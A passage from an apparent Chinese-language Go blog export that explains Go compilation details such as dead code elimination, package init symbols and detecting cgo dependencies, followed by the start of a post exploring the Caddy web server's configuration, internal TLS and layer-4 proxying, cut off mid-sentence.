module时代，Go的编译单元始终是包(package)，一个包（无论包中包含多少个Go源文件）都会作为一个编译单元被编译为一个目标文件(.a)，然后Go链接器会将多个目标文件链接在一起生成可执行文件，因此如果一个包被依赖，那么它就会进入到Go二进制文件中，它内部的符号也会进入到Go二进制文件中。\n那么问题来了！是否被依赖包中的所有符号都会被放到最终的可执行文件中呢？我们以最简单的helloworld-default为例，它依赖fmt包，并调用了fmt包的Println函数，我们看看Println这个符号是否会出现在最终的可执行文件中：\n$nm -a helloworld-default | grep \u0026#34;Println\u0026#34; 000000000048eba0 T fmt.(*pp).doPrintln 居然没有！我们初步怀疑是inline优化在作祟。接下来，关闭优化再来试试：\n$go build -o helloworld-default-noinline -gcflags=\u0026#39;-l -N\u0026#39; main.go $nm -a helloworld-default-noinline | grep \u0026#34;Println\u0026#34; 000000000048ec00 T fmt.(*pp).doPrintln 0000000000489ee0 T fmt.Println 看来的确如此！不过当使用”fmt.”去过滤helloworld-default-noinline的所有符号时，我们发现fmt包的一些常见的符号并未包含在其中，比如Printf、Fprintf、Scanf等。\n这是因为Go编译器的一个重要特性：死码消除(dead code elimination)，即编译器会将未使用的代码和数据从最终的二进制文件中剔除。\n我们再来继续探讨一个衍生问题：如果Go源码使用空导入方式导入了一个包，那么这个包是否会被编译到Go二进制文件中呢？其实道理是一样的，如果用到了里面的符号，就会存在，否则不会。\n以空导入os/user为例，即便在CGO_ENABLED=0的情况下，因为没有使用os/user中的任何符号，在最终的二进制文件中也不会包含user包：\n$CGO_ENABLED=0 go build -o helloworld-with-os-user-noinline -gcflags=\u0026#39;-l -N\u0026#39; main-with-os-user.go [root@iZ2ze18rmx2avqb5xgb4omZ helloworld]# nm -a helloworld-with-os-user-noinline |grep user 0000000000551ac0 B runtime.userArenaState 但是如果是带有init函数的包，且init函数中调用了同包其他符号的情况呢？我们以expvar包为例看一下：\n// go-compilation/main-with-expvar.go package main import ( _ \u0026#34;expvar\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { fmt.Println(\u0026#34;hello, world\u0026#34;) } 编译并查看一下其中的符号：\n$go build -o helloworld-with-expvar-noinline -gcflags=\u0026#39;-l -N\u0026#39; main-with-expvar.go $nm -a helloworld-with-expvar-noinline|grep expvar 0000000000556480 T expvar.appendJSONQuote 00000000005562e0 T expvar.cmdline 00000000005561c0 T expvar.expvarHandler 00000000005568e0 T expvar.(*Func).String 0000000000555ee0 T expvar.Func.String 00000000005563a0 T expvar.init.0 00000000006e0560 D expvar..inittask 0000000000704550 d expvar..interfaceSwitch.0 ... ... 除此之外，如果一个包即便没有init函数，但有需要初始化的全局变量，比如crypto包的hashes：\n// $GOROOT/src/crypto/crypto.go var hashes = make([]func() hash.Hash, maxHash) crypto包的相关如何也会进入最终的可执行文件中，大家自己动手不妨试试。下面是我得到的一些输出：\n$go build -o helloworld-with-crypto-noinline -gcflags=\u0026#39;-l -N\u0026#39; main-with-crypto.go $nm -a helloworld-with-crypto-noinline|grep crypto 00000000005517b0 B crypto.hashes 000000000048ee60 T crypto.init 0000000000547280 D crypto..inittask 有人会问：os/user包也有一些全局变量啊，为什么这些符号没有被包含在可执行文件中呢？比如：\n// $GOROOT/src/os/user/user.go var ( userImplemented = true groupImplemented = true groupListImplemented = true ) 这就要涉及Go包初始化的逻辑了。我们看到crypto包包含在可执行文件中的符号中有crypto.init和crypto..inittask这两个符号，显然这不是crypto包代码中的符号，而是Go编译器为crypto包自动生成的init函数和inittask结构。\nGo编译器会为每个包生成一个init函数，即使包中没有显式定义init函数，同时每个包都会有一个inittask结构，用于运行时的包初始化系统。当然这么说也不足够精确，如果一个包没有init函数、需要初始化的全局变量或其他需要运行时初始化的内容，则编译器不会为其生成init函数和inittask。比如上面的os/user包。\nos/user包确实有上述全局变量的定义，但是这些变量是在编译期就可以确定值的常量布尔值，而且未被包外引用或在包内用于影响控制流。Go编译器足够智能，能够判断出这些初始化是”无副作用的”，不需要在运行时进行初始化。只有真正需要运行时初始化的包才会生成init和inittask。这也解释了为什么空导入os/user包时没有相关的init和inittask符号，而crypto、expvar包有的init.0和inittask符号。\n6. 如何快速判断Go项目是否依赖cgo？ 在使用开源Go项目时，我们经常会遇到项目文档中没有明确说明是否依赖Cgo的情况。这种情况下，如果我们需要在特定环境（比如CGO_ENABLED=0）下使用该项目，就需要事先判断项目是否依赖Cgo，有些时候还要快速地给出判断。\n那究竟是否可以做到这种快速判断呢？我们先来看看一些常见的作法。\n第一类作法是源码层面的静态分析。最直接的方式是检查源码中是否存在import “C”语句，这种引入方式是CGO使用的显著标志。\n// 在项目根目录中执行 $grep -rn \u0026#39;import \u0026#34;C\u0026#34;\u0026#39; . 这个命令会递归搜索当前目录下所有文件，显示包含import “C”的行号和文件路径，帮助快速定位CGO的使用位置。\n此外，CGO项目通常包含特殊的编译指令，这些指令以注释形式出现在源码中，比如前面见识过的#cgo CFLAGS、#cgo LDFLAGS等，通过对这些编译指令的检测，同样可以来判断项目是否依赖CGO。\n不过第一类作法并不能查找出Go项目的依赖包是否依赖cgo。而找出直接依赖或间接依赖是否依赖cgo，我们需要工具帮忙，比如使用Go工具链提供的命令分析项目依赖：\n$go list -deps -f \u0026#39;{{.ImportPath}}: {{.CgoFiles}}\u0026#39; ./... | grep -v \u0026#39;\\[\\]\u0026#39; 其中ImportPath是依赖包的导入路径，而CgoFiles则是依赖中包含import “C”的Go源文件。我们以go-sqlite3那个依赖cgo的示例来验证一下：\n// cd go-compilation/go-sqlite3 $go list -deps -f \u0026#39;{{.ImportPath}}: {{.CgoFiles}}\u0026#39; ./... | grep -v \u0026#39;\\[\\]\u0026#39; runtime/cgo: [cgo.go] github.com/mattn/go-sqlite3: [backup.go callback.go error.go sqlite3.go sqlite3_context.go sqlite3_load_extension.go sqlite3_opt_serialize.go sqlite3_opt_userauth_omit.go sqlite3_other.go sqlite3_type.go] 用空导入os/user的示例再来看一下：\n$go list -deps -f \u0026#39;{{.ImportPath}}: {{.CgoFiles}}\u0026#39; main-with-os-user.go | grep -v \u0026#39;\\[\\]\u0026#39; runtime/cgo: [cgo.go] os/user: [cgo_lookup_cgo.go getgrouplist_unix.go] 我们知道os/user有纯go和C版本两个实现，因此上述判断只能说“对了一半”，当我关闭CGO_ENABLED时，Go编译器不会使用基于cgo的C版实现。\n那是否在禁用cgo的前提下对源码进行一次编译便能验证项目是否对cgo有依赖呢？这样做显然谈不上是一种“快速”的方法，那是否有效呢？我们来对上面的go-sqlite3项目做一个测试，我们在关闭CGO_ENABLED时，编译一下该示例：\n// cd go-compilation/go-sqlite3 $ CGO_ENABLED=0 go build demo 我们看到，Go编译器并未报错！似乎该项目不需要cgo! 但真的是这样吗？我们运行一下编译后的demo可执行文件：\n$ ./demo 2024/11/03 22:10:36 \u0026#34;Binary was compiled with \u0026#39;CGO_ENABLED=0\u0026#39;, go-sqlite3 requires cgo to work. This is a stub\u0026#34;: CREATE TABLE IF NOT EXISTS user (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT); 我们看到成功编译出来的程序居然出现运行时错误，提示需要cgo！\n到这里，没有一种方法可以快速、精确的给出项目是否依赖cgo的判断。也许判断Go项目是否依赖CGO并没有捷径，需要从源码分析、依赖检查和构建测试等多个维度进行。\n7. 小结 在本文中，我们深入探讨了Go语言编译过程中的几个重要细节，尤其是在静态链接和动态链接的选择上。通过具体示例，我们了解到：\n默认链接方式：尽管CGO_ENABLED默认值为1，Go编译器在大多数情况下会采用静态链接，只有在依赖特定的C库或标准库包时，才会切换到动态链接。\n动态链接的条件：我们讨论了几种情况下Go会默认生成动态链接的可执行文件，包括依赖使用C实现的标准库包、显式使用cgo调用外部C程序，以及使用依赖cgo的第三方包。\n实现静态链接：对于需要动态链接的场景，我们也提供了将其转为静态链接的解决方案，包括关闭CGO、使用静态库，以及处理依赖cgo的外部包的静态链接问题。\n二进制文件优化：我们还介绍了如何通过去除符号表和使用TinyGo等方法来优化生成的Go二进制文件的大小，以满足不同场景下的需求。\n符号编译与死码消除：最后，我们探讨了未使用的符号是否会被编译到最终的二进制文件中，并解释了Go编译器的死码消除机制。\n通过这些细节探讨，我希望能够帮助大家更好地理解Go编译的复杂性，并在实际开发中做出更明智的选择，亦能在面对Go编译相关问题时，提供有效的解决方案。\n本文涉及的源码可以在这里下载。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/11/some-details-about-go-compilation/","summary":"\u003cp\u003e\u003cimg alt=\"Image 27\" loading=\"lazy\" src=\"/images/wp-content/uploads/some-details-about-go-compilation-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/11/11/some-details-about-go-compilation\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/11/11/some-details-about-go-compilation\"\u003ehttps://tonybai.com/2024/11/11/some-details-about-go-compilation\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在Go开发中，编译相关的问题看似简单，但实则蕴含许多细节。有时，即使是Go专家也需要停下来，花时间思考答案或亲自验证。本文将通过几个具体问题，和大家一起探讨Go编译过程中的一些你可能之前未曾关注的细节。\u003c/p\u003e","title":"Go编译的几个细节，连专家也要停下来想想"},{"content":"\n本文永久链接 – https://tonybai.com/2024/11/07/exploring-caddy\nGo语言诞生十多年来，社区涌现出众多优秀的Web服务器和反向代理解决方案。其中，最引人注目的无疑是Caddy和Traefik。这两者都为开发者和系统管理员提供了更简单、更安全的现代化Web服务器和反向代理部署选项。尽管它们的目标略有不同，Caddy最初旨在满足开发者快速搭建反向代理的需求，特别关注配置的简易性，并在后期增加了自动HTTPS和全面的API支持；而Traefik则更强调云原生架构，适合基于微服务的应用，尤其是使用Docker或Kubernetes部署的场景，提供动态服务发现和灵活的路由能力。\n我于2015年首次体验了开源发布的Caddy，其超简单的配置确实给我留下了深刻的印象。之后也一直关注着Caddy的发展，Caddy在支持通过ACME协议自动为服务的域名获取免费HTTPS证书的功能后，Caddy就被我部署在自己的VPS上，为Gopher Daily等站点提供反向代理服务，运行十分稳定。Caddy这一为域名自动获取免费HTTPS证书的功能是其简化站点部署初衷的延续，也为Caddy赢得的广泛的用户和赞誉，并且这一特性不仅使得Caddy在个人项目和小型部署中大受欢迎，也让它在企业级应用中占有一席之地。\n近10年后，我打算在这篇文章中再次探索一下Caddy，了解一下如今的Caddy都提供哪些强大的功能特性，为后续更好地使用Caddy做铺垫。\n注：Caddy发展了近10年，支持了很多标准特性以及非标准特性(由社区提供，caddy官方不提供保证和support)，这里仅就笔者感兴趣的特性做探索。目前Caddy依靠sponsor的赞助进行着可持续演进，其所有标准功能都是免费的，但其作者Matt Holt也会为企业级赞助商进行定制功能开发。\n1. Caddy的运行方法与基本配置 1.1 Caddy的启停 Caddy使用Go开发，因此继承了Go应用部署的一贯特点：只有一个可执行文件。将下载的Caddy放到\\$PATH路径下，我们就可以在任意目录下执行它了：\n$caddy version v2.8.4 h1:q3pe0wpBj1OcHFZ3n/1nl4V4bxBrYoSoab7rL9BMYNk= $caddy run 2024/10/11 07:56:24.664 INFO admin admin endpoint started {\u0026#34;address\u0026#34;: \u0026#34;localhost:2019\u0026#34;, \u0026#34;enforce_origin\u0026#34;: false, \u0026#34;origins\u0026#34;: [\u0026#34;//127.0.0.1:2019\u0026#34;, \u0026#34;//localhost:2019\u0026#34;, \u0026#34;//[::1]:2019\u0026#34;]} 这么启动后，caddy就会作为一个前台进程一直运行着，直到你停掉它。当然，我们也可以使用start命令将caddy作为后台进程启动：\n$caddy start 2024/10/11 08:32:07.557 INFO admin admin endpoint started {\u0026#34;address\u0026#34;: \u0026#34;localhost:2019\u0026#34;, \u0026#34;enforce_origin\u0026#34;: false, \u0026#34;origins\u0026#34;: [\u0026#34;//127.0.0.1:2019\u0026#34;, \u0026#34;//localhost:2019\u0026#34;, \u0026#34;//[::1]:2019\u0026#34;]} 2024/10/11 08:32:07.557 INFO serving initial configuration Successfully started Caddy (pid=31215) - Caddy is running in the background 使用stop命令可以停到该后台进程：\n$caddy stop 2024/10/11 08:32:37.043 INFO admin.api received request {\u0026#34;method\u0026#34;: \u0026#34;POST\u0026#34;, \u0026#34;host\u0026#34;: \u0026#34;localhost:2019\u0026#34;, \u0026#34;uri\u0026#34;: \u0026#34;/stop\u0026#34;, \u0026#34;remote_ip\u0026#34;: \u0026#34;127.0.0.1\u0026#34;, \u0026#34;remote_port\u0026#34;: \u0026#34;65178\u0026#34;, \u0026#34;headers\u0026#34;: {\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip\u0026#34;],\u0026#34;Content-Length\u0026#34;:[\u0026#34;0\u0026#34;],\u0026#34;Origin\u0026#34;:[\u0026#34;http://localhost:2019\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Go-http-client/1.1\u0026#34;]}} 2024/10/11 08:32:37.043 WARN admin.api exiting; byeee!! 2024/10/11 08:32:37.043 INFO admin stopped previous server {\u0026#34;address\u0026#34;: \u0026#34;localhost:2019\u0026#34;} 2024/10/11 08:32:37.043 INFO admin.api shutdown complete {\u0026#34;exit_code\u0026#34;: 0} 1.2 使用Caddyfile配置站点信息 不过如此启动后的caddy并没有什么卵用，因为没有任何关于站点的配置信息。但caddy提供了config API（默认使用2019端口），我们可以使用下面方式访问该API：\n$curl localhost:2019/config/ null 由于没有任何配置数据，该接口返回null。Caddy提供了强大的API可以在Caddy运行是动态设置站点配置信息，这个我们后续再说，因为首次使用Caddy时，开发者通常更愿意使用Caddyfile来提供初始配置信息，Caddyfile也是最初caddy开源时唯一支持的配置方式。我们以server1.com为例来看看在本地使用caddy为其建立反向代理有多简单。下面是Caddyfile的内容：\nserver1.com { tls internal reverse_proxy localhost:9001 } 然后我们基于该Caddyfile启动caddy，如果不显式传入配置文件，caddy默认使用当前目录(cwd)下的Caddyfile作为配置文件：\n$caddy run 2024/10/11 08:49:36.916 INFO using adjacent Caddyfile 2024/10/11 08:49:36.920 INFO adapted config to JSON {\u0026#34;adapter\u0026#34;: \u0026#34;caddyfile\u0026#34;} 2024/10/11 08:49:36.926 INFO admin admin endpoint started {\u0026#34;address\u0026#34;: \u0026#34;localhost:2019\u0026#34;, \u0026#34;enforce_origin\u0026#34;: false, \u0026#34;origins\u0026#34;: [\u0026#34;//localhost:2019\u0026#34;, \u0026#34;//[::1]:2019\u0026#34;, \u0026#34;//127.0.0.1:2019\u0026#34;]} 2024/10/11 08:49:36.928 INFO tls.cache.maintenance started background certificate maintenance {\u0026#34;cache\u0026#34;: \u0026#34;0xc0005add80\u0026#34;} 2024/10/11 08:49:36.936 INFO http.auto_https server is listening only on the HTTPS port but has no TLS connection policies; adding one to enable TLS {\u0026#34;server_name\u0026#34;: \u0026#34;srv0\u0026#34;, \u0026#34;https_port\u0026#34;: 443} 2024/10/11 08:49:36.936 INFO http.auto_https enabling automatic HTTP-\u0026gt;HTTPS redirects {\u0026#34;server_name\u0026#34;: \u0026#34;srv0\u0026#34;} 2024/10/11 08:49:36.964 WARN pki.ca.local installing root certificate (you might be prompted for password) {\u0026#34;path\u0026#34;: \u0026#34;storage:pki/authorities/local/root.crt\u0026#34;} 2024/10/11 08:49:37.024 INFO warning: \u0026#34;certutil\u0026#34; is not available, install \u0026#34;certutil\u0026#34; with \u0026#34;brew install nss\u0026#34; and try again 2024/10/11 08:49:37.024 INFO define JAVA_HOME environment variable to use the Java trust Password: 2024/10/11 08:49:41.629 INFO certificate installed properly in macOS keychain 2024/10/11 08:49:41.629 INFO http enabling HTTP/3 listener {\u0026#34;addr\u0026#34;: \u0026#34;:443\u0026#34;} 2024/10/11 08:49:41.632 INFO http.log server running {\u0026#34;name\u0026#34;: \u0026#34;srv0\u0026#34;, \u0026#34;protocols\u0026#34;: [\u0026#34;h1\u0026#34;, \u0026#34;h2\u0026#34;, \u0026#34;h3\u0026#34;]} 2024/10/11 08:49:41.632 INFO http.log server running {\u0026#34;name\u0026#34;: \u0026#34;remaining_auto_https_redirects\u0026#34;, \u0026#34;protocols\u0026#34;: [\u0026#34;h1\u0026#34;, \u0026#34;h2\u0026#34;, \u0026#34;h3\u0026#34;]} 2024/10/11 08:49:41.632 INFO http enabling automatic TLS certificate management {\u0026#34;domains\u0026#34;: [\u0026#34;server1.com\u0026#34;]} 2024/10/11 08:49:41.656 INFO tls cleaning storage unit {\u0026#34;storage\u0026#34;: \u0026#34;FileStorage:/Users/tonybai/Library/Application Support/Caddy\u0026#34;} 2024/10/11 08:49:41.656 INFO autosaved config (load with --resume flag) {\u0026#34;file\u0026#34;: \u0026#34;/Users/tonybai/Library/Application Support/Caddy/autosave.json\u0026#34;} 2024/10/11 08:49:41.656 INFO serving initial configuration 2024/10/11 08:49:41.657 INFO tls finished cleaning storage units 2024/10/11 08:49:41.657 INFO tls.obtain acquiring lock {\u0026#34;identifier\u0026#34;: \u0026#34;server1.com\u0026#34;} 2024/10/11 08:49:41.676 INFO tls.obtain lock acquired {\u0026#34;identifier\u0026#34;: \u0026#34;server1.com\u0026#34;} 2024/10/11 08:49:41.676 INFO tls.obtain obtaining certificate {\u0026#34;identifier\u0026#34;: \u0026#34;server1.com\u0026#34;} 2024/10/11 08:49:41.684 INFO tls.obtain certificate obtained successfully {\u0026#34;identifier\u0026#34;: \u0026#34;server1.com\u0026#34;, \u0026#34;issuer\u0026#34;: \u0026#34;local\u0026#34;} 2024/10/11 08:49:41.685 INFO tls.obtain releasing lock {\u0026#34;identifier\u0026#34;: \u0026#34;server1.com\u0026#34;} 2024/10/11 08:49:41.686 WARN tls stapling OCSP {\u0026#34;error\u0026#34;: \u0026#34;no OCSP stapling for [server1.com]: no OCSP server specified in certificate\u0026#34;, \u0026#34;identifiers\u0026#34;: [\u0026#34;server1.com\u0026#34;]} 这段日志“信息量”很大，我们后面一点点来看。现在我们先验证一下caddy启动后是否能成功访问到server1.com这个“站点”，拓扑图如下：\nserver1.com的程序如下：\n// server1.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;net/http\u0026#34; ) func handler(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, \u0026#34;hello, server1.com\u0026#34;) } func main() { http.HandleFunc(\u0026#34;/\u0026#34;, handler) fmt.Println(\u0026#34;Server is listening on port 9001...\u0026#34;) if err := http.ListenAndServe(\u0026#34;localhost:9001\u0026#34;, nil); err != nil { fmt.Println(\u0026#34;Error starting server:\u0026#34;, err) } } 启动server1后，我们使用curl访问server1.com（注：请先将server1.com放入/etc/hosts中，映射到本地127.0.0.1）：\n$go run server1.go $curl https://server1.com hello, server1.com 是不是非常简单 – 短短几行配置就能在本地搭建出一个可以测试https站点的环境！\n1.3 Caddyfile背后的那些事儿 现在是时候基于上面caddy run之后输出的日志以及Caddyfile的内容来说说caddy的一些运行机制了。\n首先，当前版本的Caddy的默认配置信息格式已经不再是我们在Caddyfile中看到的那样了，而是改为了json格式。虽然上面我们是基于Caddyfile启动的caddy，但实际上caddy程序会在内部启用caddyfile adapt，将Caddyfile的格式转换为json格式后，再作为配置信息提供给caddy的后续逻辑：\n比如上面的Caddyfile被转换为json后的配置如下：\n{ \u0026#34;apps\u0026#34;: { \u0026#34;http\u0026#34;: { \u0026#34;servers\u0026#34;: { \u0026#34;srv0\u0026#34;: { \u0026#34;listen\u0026#34;: [ \u0026#34;:443\u0026#34; ], \u0026#34;routes\u0026#34;: [ { \u0026#34;handle\u0026#34;: [ { \u0026#34;handler\u0026#34;: \u0026#34;subroute\u0026#34;, \u0026#34;routes\u0026#34;: [ { \u0026#34;handle\u0026#34;: [ { \u0026#34;handler\u0026#34;: \u0026#34;reverse_proxy\u0026#34;, \u0026#34;upstreams\u0026#34;: [ { \u0026#34;dial\u0026#34;: \u0026#34;localhost:9001\u0026#34; } ] } ] } ] } ], \u0026#34;match\u0026#34;: [ { \u0026#34;host\u0026#34;: [ \u0026#34;server1.com\u0026#34; ] } ], \u0026#34;terminal\u0026#34;: true } ] } } }, \u0026#34;tls\u0026#34;: { \u0026#34;automation\u0026#34;: { \u0026#34;policies\u0026#34;: [ { \u0026#34;issuers\u0026#34;: [ { \u0026#34;module\u0026#34;: \u0026#34;internal\u0026#34; } ], \u0026#34;subjects\u0026#34;: [ \u0026#34;server1.com\u0026#34; ] } ] } } } } 当然caddy也支持直接将该json格式配置作为启动时所需的初始配置文件：\n$caddy run --config caddy.json 即便是基于Caddyfile启动，caddy也会将当前配置自动保存起来(以下是macOS下启动caddy的日志)：\n2024/10/11 08:49:41.656 INFO autosaved config (load with --resume flag) {\u0026#34;file\u0026#34;: \u0026#34;/Users/tonybai/Library/Application Support/Caddy/autosave.json\u0026#34;} 注：linux上caddy默认保存config的位置为/var/lib/caddy/.config/caddy/autosave.json。\n正如日志中所提到的，下次启动时如果带上了–resume标志位，Caddy会基于自动保存的json配置文件启动！\n如果caddy启动时带有–resume标志位，但在指定路径下找不到autosave.json时，它就会基于当前目录下的Caddyfile启动，除非使用–config指定配置文件。\n在Caddyfile的server1.com site block中，我们使用tls directive：\nserver1.com { tls internal reverse_proxy localhost:9001 } tls directive的值是internal，意味着使用Caddy的内部、本地受信任的CA为本站点生成证书。Caddy会在本地创建自签的CA(默认名字是local)，并会尝试将自建的CA根证书安装到系统信任存储区，当以非特权用户运行Caddy时，可能会让你输入sudo用户的密码。接下来，Caddy就会用该CA为像server1.com这样的域名签发证书了。在macOS的用户的Library/Application Support/Caddy下我们能看到CA相关和为站点域名生成的相关私钥和证书：\n➜ /Users/tonybai/Library/Application Support/Caddy git:(master) ✗ $tree . ├── autosave.json ├── certificates │ └── local │ └── server1.com │ ├── server1.com.crt │ ├── server1.com.json │ └── server1.com.key ├── instance.uuid ├── last_clean.json ├── locks └── pki └── authorities └── local ├── intermediate.crt ├── intermediate.key ├── root.crt └── root.key 1.4 四层代理配置和grpc 日常工作中，除了http/https代理，还有两个最常见的反向代理和负载均衡配置，一个是纯四层的Raw TCP和UDP，另外一个则是RPC(以gRPC最为广泛)。那么Caddy对这两种情况支持的如何呢？我们接下来就来看看。\n1.4.1 Raw TCP和UDP Caddy正式版目前不支持四层反向代理和负载均衡，但通过一些插件可以支持，其中mholt/caddy-l4是其中最著名的，这也是由Caddy作者建立的项目，但目前还处于WIP状态，可以体验，但不建议用于生产环境。\n由于Caddy是Go实现的，Go对插件实现的方案方面不是很友好，Caddy采用了重新编译的方案，但提供了名为xcaddy的构建工具可以十分方便的支持带有插件的caddy编译，这也算将Go在编译方面的优势充分利用了起来了。\n如果本地已经安装了go，那么安装xcaddy十分方便：\n$go install github.com/caddyserver/xcaddy/cmd/xcaddy@latest go: downloading github.com/caddyserver/xcaddy v0.4.2 go: downloading github.com/Masterminds/semver/v3 v3.2.1 go: downloading github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 go: downloading github.com/josephspurrier/goversioninfo v1.4.0 go: downloading github.com/akavel/rsrc v0.10.2 接下来，我们就以用xcaddy编译带有mholt/caddy-l4插件了，这个过程大约持续1-2分钟吧，主要是下载依赖包耗时较长：\n$xcaddy build --with github.com/mholt/caddy-l4 2024/10/11 12:31:46 [INFO] absolute output file path: /Users/tonybai/caddy 2024/10/11 12:31:46 [INFO] Temporary folder: /Users/tonybai/buildenv_2024-10-17-1231.4160508500 2024/10/11 12:31:46 [INFO] Writing main module: /Users/tonybai/buildenv_2024-10-17-1231.4160508500/main.go package main import ( caddycmd \u0026#34;github.com/caddyserver/caddy/v2/cmd\u0026#34; // plug in Caddy modules here _ \u0026#34;github.com/caddyserver/caddy/v2/modules/standard\u0026#34; _ \u0026#34;github.com/mholt/caddy-l4\u0026#34; ) func main() { caddycmd.Main() } 2024/10/11 12:31:46 [INFO] Initializing Go module 2024/10/11 12:31:46 [INFO] exec (timeout=0s): /Users/tonybai/.bin/go1.23.0/bin/go mod init caddy go: creating new go.mod: module caddy go: to add module requirements and sums: go mod tidy 2024/10/11 12:31:46 [INFO] Pinning versions 2024/10/11 12:31:46 [INFO] exec (timeout=0s): /Users/tonybai/.bin/go1.23.0/bin/go get -d -v github.com/caddyserver/caddy/v2 go: -d flag is deprecated. -d=true is a no-op go: downloading github.com/caddyserver/caddy v1.0.5 go: downloading github.com/caddyserver/caddy/v2 v2.8.4 go: downloading github.com/caddyserver/certmagic v0.21.3 go: downloading github.com/prometheus/client_golang v1.19.1 go: downloading github.com/quic-go/quic-go v0.44.0 go: downloading github.com/cespare/xxhash v1.1.0 go: downloading go.uber.org/zap/exp v0.2.0 go: downloading golang.org/x/term v0.20.0 go: downloading golang.org/x/time v0.5.0 go: downloading go.uber.org/multierr v1.11.0 ... ... go: added golang.org/x/term v0.20.0 go: added golang.org/x/text v0.15.0 go: added golang.org/x/time v0.5.0 go: added golang.org/x/tools v0.21.0 go: added google.golang.org/protobuf v1.34.1 2024/10/11 12:31:53 [INFO] exec (timeout=0s): /Users/tonybai/.bin/go1.23.0/bin/go get -d -v github.com/mholt/caddy-l4 github.com/caddyserver/caddy/v2 go: -d flag is deprecated. -d=true is a no-op go: downloading github.com/mholt/caddy-l4 v0.0.0-20241012124037-5764d700c21c go: accepting indirect upgrade from github.com/google/pprof@v0.0.0-20231212022811-ec68065c825e to v0.0.0-20240207164012-fb44976bdcd5 go: accepting indirect upgrade from github.com/miekg/dns@v1.1.59 to v1.1.62 go: accepting indirect upgrade from github.com/onsi/ginkgo/v2@v2.13.2 to v2.15.0 go: accepting indirect upgrade from golang.org/x/crypto@v0.23.0 to v0.28.0 go: accepting indirect upgrade from golang.org/x/mod@v0.17.0 to v0.18.0 go: accepting indirect upgrade from golang.org/x/net@v0.25.0 to v0.30.0 ... ... go: upgraded golang.org/x/sys v0.20.0 =\u0026gt; v0.26.0 go: upgraded golang.org/x/term v0.20.0 =\u0026gt; v0.25.0 go: upgraded golang.org/x/text v0.15.0 =\u0026gt; v0.19.0 go: upgraded golang.org/x/time v0.5.0 =\u0026gt; v0.7.0 go: upgraded golang.org/x/tools v0.21.0 =\u0026gt; v0.22.0 2024/10/11 12:32:10 [INFO] exec (timeout=0s): /Users/tonybai/.bin/go1.23.0/bin/go get -d -v go: -d flag is deprecated. -d=true is a no-op go: downloading github.com/go-chi/chi/v5 v5.0.12 go: downloading gopkg.in/natefinch/lumberjack.v2 v2.2.1 go: downloading github.com/fxamacker/cbor/v2 v2.6.0 go: downloading github.com/google/go-tpm v0.9.0 ... ... go: downloading github.com/google/certificate-transparency-go v1.1.8-0.20240110162603-74a5dd331745 go: downloading github.com/go-logr/stdr v1.2.2 go: downloading github.com/cenkalti/backoff/v4 v4.2.1 go: downloading github.com/grpc-ecosystem/grpc-gateway/v2 v2.18.0 2024/10/11 12:32:15 [INFO] Build environment ready 2024/10/11 12:32:15 [INFO] Building Caddy 2024/10/11 12:32:15 [INFO] exec (timeout=0s): /Users/tonybai/.bin/go1.23.0/bin/go mod tidy -e go: downloading github.com/onsi/gomega v1.30.0 ... ... go: downloading golang.org/x/oauth2 v0.20.0 go: downloading cloud.google.com/go/auth/oauth2adapt v0.2.2 go: downloading github.com/google/s2a-go v0.1.7 go: downloading cloud.google.com/go/compute/metadata v0.3.0 go: downloading cloud.google.com/go/compute v1.24.0 go: downloading go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0 go: downloading github.com/googleapis/enterprise-certificate-proxy v0.3.2 2024/10/11 12:32:31 [INFO] exec (timeout=0s): /Users/tonybai/.bin/go1.23.0/bin/go build -o /Users/tonybai/caddy -ldflags -w -s -trimpath -tags nobadger 2024/10/11 12:33:22 [INFO] Build complete: ./caddy 2024/10/11 12:33:22 [INFO] Cleaning up temporary folder: /Users/tonybai/buildenv_2024-10-17-1231.4160508500 ././caddy version v2.8.4 h1:q3pe0wpBj1OcHFZ3n/1nl4V4bxBrYoSoab7rL9BMYNk= 编译后得到的caddy放在当前目录下：\n$./caddy version v2.8.4 h1:q3pe0wpBj1OcHFZ3n/1nl4V4bxBrYoSoab7rL9BMYNk= 为了与原先的caddy做区分，我们将新编译出来的caddy重命名为caddy-with-l4。下面我们就来看一个四层负载均衡的示例，先看一下Caddyfile的配置：\n{ layer4 { 127.0.0.1:5000 { route { proxy localhost:9003 localhost:9004 { lb_policy round_robin } } } } } 这个配置非常好理解！如下面示意图，caddy将来自客户端到5000端口的连接按照round robin负载均衡算法分配到后面的两个服务localhost:9003和localhost:9004上：\n看完TCP，我们再来看看UDP的反向代理的例子，我们修改一下Caddyfile：\n{ layer4 { udp/127.0.0.1:5000 { route { proxy udp/localhost:9005 udp/localhost:9006 { lb_policy round_robin } } } } } 这个配置同样非常好理解！如下面示意图，caddy将来自客户端到5000端口的udp连接按照round 